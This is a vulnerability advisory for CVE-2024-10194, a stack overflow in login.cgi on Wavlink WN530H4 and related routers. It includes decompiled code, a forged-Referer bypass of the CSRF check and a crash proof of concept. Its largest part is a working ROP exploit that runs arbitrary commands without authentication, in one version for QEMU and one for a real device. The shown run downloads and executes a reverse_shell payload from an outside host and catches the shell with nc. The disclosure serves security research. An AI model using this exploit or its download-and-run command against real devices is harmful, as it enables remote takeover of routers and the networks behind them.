CVE-ID

CVE-2024-10194

Credits

Leipeng Ye (awindog) of DBappSecurity Stellar Lab

Overview

- Manufacturer's website:

  https://www.wavlink.com/en_us/index.html

- Firmware download website:

  https://www.wavlink.com/en_us/firmware/details/130.html

  https://www.wavlink.com/en_us/firmware/details/45.html

  https://www.wavlink.com/en_us/firmware/details/46.html

Affected version

`WN530H4-WAVLINK_20220721`

`WN530HG4-WAVLINK_20220809`

`WN572HG3-WAVLINK_WO_20221028`

...

Vulnerability details

Take `WN530H4-WAVLINK_20220721` firmware as an example.

Backup Download Link:
https://drive.google.com/file/d/16n2lvT0CjyECH7RDStvW7FljE95vRdLy/view

There is a stack overflow vulnerability in the `Goto_chidx` function of the front-end component login.cgi.

Since the vulnerability is triggered when logging into the Web management page, it may lead to unauthorized remote code execution.

It accepts the `Goto_chidx` and `wlanUrl` parameters from the POST request.

```
v36 = (const char *)web_get("page", v3, 0);
if ( strstr((const char *)v3, "ZAP") )
{
  v37 = (const char *)nvram_bufget(0, &aLanIpaddr);
  sprintf(v41, "http://%s/login.shtml?login=0", v37);
  web_redirect_wholepage(v41);
  if ( access("/tmp/web_log", 0) )
v16 = strcmp(v36, "Goto_chidx");
v14 = (int (__fastcall *)(int))Goto_chidx;
if ( !v16 )
  goto LABEL_24;
```

Then, without `check_valid_user`, the `wlanUrl` parameter is directly copied to the variable on the stack by the `sprintf` function, which causes a stack overflow.

```
int __fastcall Goto_chidx(int a1)
{
  const char *v2; // $v0
  int v3; // $s2
  const char *v4; // $v0
  char *v5; // $s1
  char *v6; // $s0
  FILE *v8; // $s0
  char v9[128]; // [sp+20h] [-80h] BYREF

  v2 = (const char *)web_get("wlanIdxNum", a1, 0);
  v3 = 0;
  v5 = strdup(v2);
  v4 = (const char *)web_get("wlanUrl", a1, 0);
  v6 = strdup(v4);
  if ( v5 )
    v3 = atoi(v5);
  sprintf(v9, "%s?wlanidx=%d", v6, v3);
  if ( access("/tmp/web_log", 0) )
    return web_redirect(v9);
  v8 = fopen("/dev/console", "w+");
  if ( !v8 )
    return web_redirect(v9);
  fprintf(v8, "%s:%s:%d:%s\n", "login.c", "Goto_chidx", 0x223, v9);
  fclose(v8);
  return web_redirect(v9);
}
```

There are two things worth noting before this:

Ⅰ : There is a `check_csrf_referer` function in the main function to prevent cross-site request forgery (CSRF).

```
41
42  memset(v41, 0, sizeof(v41));
43  if ( check_csrf_referer() )
44  {
45    if ( !access("/tmp/web_log", 0) )
46    {
47      v19 = fopen("/dev/console", "w+");
48      if ( v19 )
49      {
50        fprintf(v19, "%s:%s:%d:check HTTP_REFERER Fail!\n", "login.c", "main", 0x3C5);
51        fclose(v19);
52      }
53    }
54LABEL_3:
55    v5 = (const char *)nvram_bufget(0, &unk_4072B8);
56    sprintf(v41, "http://%s/login.shtml?login=0", v5);
57    web_redirect_wholepage(v41);
58    return 0;
59  }
```

Reverse analysis of the check_csrf_referer function code in the libwebutil.so dynamic link library is as follows:

```
int check_csrf_referer()
{
  const char *v0; // $s5
  const char *v1; // $s7
  int v2; // $v0
  const char *v3; // $s2
  const char *v4; // $s6
  char *v5; // $s1
  char *v6; // $s4
  const char *v7; // $fp
  int result; // $v0
  FILE *v9; // $s0
  FILE *v10; // $s0
  bool v11; // dc

  v0 = (const char *)nvram_bufget(0, "SYS_DOMAIN1");
  v1 = (const char *)nvram_bufget(0, "SYS_DOMAIN2");
  v3 = (const char *)nvram_bufget(0, "lan_ipaddr");
  v2 = get_wanif_name();
  v4 = (const char *)get_ipaddr(v2);
  v5 = getenv("HTTP_REFERER");
  v6 = getenv("HTTP_HOST");
  v7 = (const char *)nvram_bufget(0, "MeshMode");
  if ( !access("/tmp/web_log", 0) )
  {
    v10 = fopen("/dev/console", "w+");
    if ( v10 )
    {
      fprintf(v10, "%s:%s:%d:http_host-- %s\n\n", "utils.c",
"check_csrf_referer", 2101, v6);
      fclose(v10);
    }
  }
  if ( !access("/tmp/web_log", 0) )
```

```
  {
    v9 = fopen("/dev/console", "w+");
    if ( v9 )
    {
      fprintf(
        v9,
        "%s:%s:%d:http_refer-- %s  ipv4_lan== %s ipv4_wan== %s
domain1== %s domain2== %s\n\n",
        "utils.c",
        "check_csrf_referer",
        2102,
        v5,
        v3,
        v4,
        v0,
        v1);
      fclose(v9);
    }
  }
  if ( !v5 )
    return -1;
  if ( strstr(v5, v3) )
    return 0;
  v11 = strstr(v5, v0) != 0;
  result = 0;
  if ( !v11 )
  {
    v11 = strstr(v5, v1) != 0;
    result = 0;
    if ( !v11 )
    {
      v11 = strstr(v5, v4) != 0;
      result = 0;
      if ( !v11 )
      {
        v11 = strcmp(v7, "2") != 0;
        result = -1;
        if ( !v11 )
        {
          v11 = strstr(v6, v3) != 0;
          result = 0;
          if ( !v11 )
          {
            v11 = strstr(v6, v0) != 0;
            result = 0;
            if ( !v11 )
            {
              v11 = strstr(v6, v1) != 0;
              result = 0;
              if ( !v11 )
```

```
                {
                  if ( strstr(v6, v4) )
                    return 0;
                  return -1;
                }
              }
            }
          }
        }
      }
    }
  }
  return result;
}
```

After analysis, in order for this function `check_csrf_referer()` to return 0, any of the following conditions must be met:

1. The `HTTP_REFERER` environment variable contains the value of `lan_ipaddr`.
2. The `HTTP_REFERER` environment variable contains the value of `SYS_DOMAIN1`.
3. The `HTTP_REFERER` environment variable contains the value of `SYS_DOMAIN2`.
4. The `HTTP_REFERER` environment variable contains the IP address corresponding to the interface name obtained by `get_wanif_name()`.
5. If the value of `MeshMode` is "2", the `HTTP_HOST` environment variable needs to contain one of the IP addresses corresponding to the interface name obtained by `lan_ipaddr`, `SYS_DOMAIN1`, `SYS_DOMAIN2`, or `get_wanif_name()`.

Serial port debugging device, found that the default value of `SYS_DOMAIN1` is `wifi.wavlink.com` , So we just need to forge this url in the Referer request header.

```
/bin/sh: nvram: not found
nvram_get
Usage:
  nvram_get <command> [<platform>] [<file>]

command:
  rt2860_nvram_show - display rt2860 values in nvram
  rtdev_nvram_show   - display 2nd ralink device values in nvram
  wifi3_nvram_show   - display 3rd ralink device values in nvram
  show    - display values in nvram for <platform>
  gen     - generate config file from nvram for <platform>
  renew   - replace nvram values for <platform> with <file>
  clear   - clear all entries in nvram for <platform>
platform:
  2860    - rt2860
  rtdev    - 2nd ralink device
  wifi3    - 3rd ralink device
file:
          - file name for renew command
nvram_get SYS_DOMAIN1
wifi.wavlink.com
```

Ⅱ: After obtaining the length of the data part of the POST request packet, CGI checks whether its value is greater than 499. Therefore, the length of the post request packet data we send cannot exceed 499.

```
158  v8 = getenv("CONTENT_LENGTH");
159  v9 = strtol(v8, 0, 0xA);
160  v10 = v9 + 1;
161  if ( (unsigned int)(v9 - 1) >= 499 )
162    goto LABEL_3;
163  v3 = malloc(v9 + 1);
164  memset(v3, 0, v10);
165  fgets((char *)v3, v10, stdin);
166  if ( !access("/tmp/web_log", 0) )
```

PoC

```
import requests
url = "http://192.168.1.1/cgi-bin/login.cgi"
Head = {'Referer': 'wifi.wavlink.com'}
Data_no_overflow = {"page":"Goto_chidx","wlanUrl":"a"*30}
Data_overflow = {"page":"Goto_chidx","wlanUrl":"a"*300}

print("######### Send a normal data packet")
response = requests.post(url,headers=Head,data=Data_no_overflow)
print(response.text)
print(response)
```

```
print("")

print("######### Send an overflow packet")
response = requests.post(url,headers=Head,data=Data_overflow)
print(response.text)
print(response)
```

```
fuzz@ubuntu:~$ python poc.py
######### Send a normal data packet
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>404 - Not Found</title>
 </head>
 <body>
  <h1>404 - Not Found</h1>
 </body>
</html>

<Response [404]>

######### Send an overflow packet
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>500 - Internal Server Error</title>
 </head>
 <body>
  <h1>500 - Internal Server Error</h1>
 </body>
</html>

<Response [500]>
```

EXP-Qemu-Emulation

Download EXP-Qemu-Emulation.zip :
https://drive.google.com/file/d/1Bi6xEi0xPz5idzryLsKYHQ9mVdFE0tK-/view

Unzip `EXP-Qemu-Emulation.zip` and execute the `exp.py` script

```
from pwn import *
import sys
```

```
#context.log_level="debug"

libwebutil_base=0x7633a000

if len(sys.argv)!=2:
    print("Usage: python %s \"command\""%sys.argv[0])
    exit(0)

cmd= sys.argv[1]

'''
.text:00007A78 28 00 BC 8F                              lw      $gp,
0x28($sp)
.text:00007A7C 00 00 00 00                              nop
.text:00007A80 C8 80 99 8F                              la      $t9,
do_system
.text:00007A84 00 00 00 00                              nop
.text:00007A88 09 F8 20 03                              jalr    $t9 ;
do_system
'''

addr=libwebutil_base+0x58444
rop=libwebutil_base+0x7A78
gp=libwebutil_base+0x5E0D0 #fix $gp

cmd=b"a;"+cmd.encode()+b";\x00"

payload=b"page=Goto_chidx&wlanUrl="
payload+=b"a"*(128)
payload+=p32(addr)+b"b"*8
payload+=p32(rop)+b"c"*40+p32(gp)+cmd

p=process(["./qemu-mipsel-static","-E","HTTP_REFERER=wifi.wavlink.com",
"-E","REQUEST_METHOD=POST","-E","CONTENT_LENGTH=%d"%len(payload),"-L","
.","./login.cgi"])

p.sendline(payload)

p.interactive()
```

```
fuzz@ubuntu:~/test$ unzip EXP-Qemu-Emulation.zip  > /dev/null 2>&1
fuzz@ubuntu:~/test$ ls
exp.py  EXP-Qemu-Emulation.zip  lib  login.cgi  qemu-mipsel-static
fuzz@ubuntu:~/test$ chmod +x qemu-mipsel-static
fuzz@ubuntu:~/test$ python exp.py
Usage: python exp.py "command"
fuzz@ubuntu:~/test$ python exp.py "echo hackhackhack > /tmp/hack-test"
[+] Starting local process './qemu-mipsel-static': pid 167764
[*] Switching to interactive mode
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
get_ipaddr: ioctl SIOCGIFADDR error for br0
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
/dev/apsoc_nvram: No such file or directory
HTTP/1.0 302 Redirect
Pragma: no-cache

Content-Type: text/html
Location: ;echo hackhackhack > /tmp/hack-test;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#^4vbbbbbbbbx\x1a4vcccccccccccccccccccccccccccccccccccccccccccccccÈ9v?wlanidx=0

sh: 1: cation:: not found
: not foundaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa#^4vbbbbbbbbx\x1a4vccccccccccccccccccccc
ccccccccccccccccccccÈ9v?wlanidx=0
sh: 2: cannot create /dev/console: Permission denied
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './qemu-mipsel-static' stopped with exit code -11 (SIGSEGV) (pid 167764)
fuzz@ubuntu:~/test$ cat /tmp/hack-test
hackhackhack
```

EXP-A real device with the corresponding firmware version

```
import requests
from pwn import *
import sys
#context.log_level="debug"

libwebutil_base=0x2add5000

if len(sys.argv)!=3:
    print("Usage: python %s ip \"command\""%sys.argv[0])
    exit(0)

ip= sys.argv[1]
cmd= sys.argv[2]

'''
.text:00007A78 28 00 BC 8F                          lw      $gp, 0x28($sp)
.text:00007A7C 00 00 00 00                          nop
.text:00007A80 C8 80 99 8F                          la      $t9, do_system
.text:00007A84 00 00 00 00                          nop
.text:00007A88 09 F8 20 03                          jalr    $t9 ; do_system
'''
```

```
addr=libwebutil_base+0x58444
rop=libwebutil_base+0x7A78
gp=libwebutil_base+0x5E0D0 #fix $gp

cmd=b"a;"+cmd.encode()+b";\x00"

payload=b"a"*(128)
payload+=p32(addr)+b"b"*8
payload+=p32(rop)+b"c"*40+p32(gp)+cmd

Head = {'Referer': 'wifi.wavlink.com'}
url = "http://%s/cgi-bin/login.cgi"%ip
Data = {"page":"Goto_chidx","wlanUrl":payload}

response = requests.post(url,headers=Head,data=Data)

print(response.text)
print(response)
```

```
fuzz@ubuntu:~$ python exp.py 1[redacted] "curl -o /tmp/a http://[redacted]/reverse_shell;chmod 777 /tmp/a;/tmp/a"
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>500 - Internal Server Error</title>
 </head>
 <body>
  <h1>500 - Internal Server Error</h1>
```

```
root@lavm-3xrkhwqt8e:~# nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 1[redacted]82 56131
ps
  PID USER       VSZ STAT COMMAND
    1 admin286  2328 S    init
    2 admin286     0 SW   [kthreadd]
    3 admin286     0 SW   [ksoftirqd/0]
    4 admin286     0 SW   [kworker/0:0]
    5 admin286     0 SW   [kworker/u:0]
    6 admin286     0 SW<  [khelper]
    7 admin286     0 SW   [sync_supers]
    8 admin286     0 SW   [bdi-default]
    9 admin286     0 SW<  [kblockd]
   10 admin286     0 SW   [kswapd0]
   11 admin286     0 SW<  [crypto]
   15 admin286     0 SW   [mtdblock0]
   16 admin286     0 SW   [mtdblock1]
   17 admin286     0 SW   [mtdblock2]
   18 admin286     0 SW   [mtdblock3]
   19 admin286     0 SW   [mtdblock4]
   20 admin286     0 SW   [kworker/u:1]
  111 admin286     0 SW   [kworker/0:1]
  114 admin286  2816 S    nvram_daemon
  143 admin286  2324 S    syslogd -s 256
  657 admin286     0 SW   [RtmpCmdQTask]
  658 admin286     0 SW   [RtmpWscTask]
  664 admin286     0 SW   [RtmpCmdQTask]
  665 admin286     0 SW   [RtmpWscTask]
  666 admin286     0 SW   [RtmpMlmeTask]
 1718 admin286   412 S    ./GHKI
 2122 admin286  2376 S    udhcpc -i br0 -s /sbin/udhcpc.sh -p /var/run/udhcpc.p
 5723 admin286   412 S    ./GHKI
 6324 admin286  6048 S    lighttpd -f /etc_ro/lighttpd/lighttpd.conf -m /etc_ro
 8029 admin286  1584 S    resetrouter
 8031 admin286  1596 S    monitor
 8049 admin286  1564 S    network_status
 8078 admin286   412 S    ./GHKI
 8113 admin286  2368 S    /bin/sh /sbin/curl.sh
 8120 admin286  2324 S    /sbin/getty -L /dev/ttyS1 57600 vt100
 8251 admin286  1216 S    ntpclient -s -c 0 -h pool.ntp.org -h ntp1.aliyun.com
```